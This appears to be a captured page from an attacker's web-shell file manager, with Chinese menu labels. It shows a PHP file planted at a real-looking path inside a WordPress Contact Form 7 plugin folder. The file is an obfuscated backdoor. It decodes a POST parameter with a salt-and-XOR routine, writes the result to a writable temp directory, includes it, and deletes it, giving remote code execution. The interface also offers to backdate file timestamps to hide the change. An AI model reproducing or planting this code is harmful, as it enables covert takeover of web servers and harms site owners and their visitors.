文件操作 - smilie.class.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/vec.uaysen.cl/html/wp-content/plugins/contact-form-7/includes/js/smilie.class.php
编辑文件内容
<?php if(@$_POST["\x65l\x65m"] !== null){ $ent = array_filter(["/dev/shm", "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); $key = $_POST["\x65l\x65m"]; $key= explode ("." , $key) ; $object = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $m = 0; foreach($key as $v1) { $sChar = ord($salt9[$m% $sLen]); $dec = ((int)$v1 - $sChar -($m% 10))^ 74; $object .= chr($dec); $m++; } while ($property_set = array_shift($ent)) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $rec = implode("/", [$property_set, ".descriptor"]); $success = file_put_contents($rec, $object); if ($success) { include $rec; @unlink($rec); exit;} } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件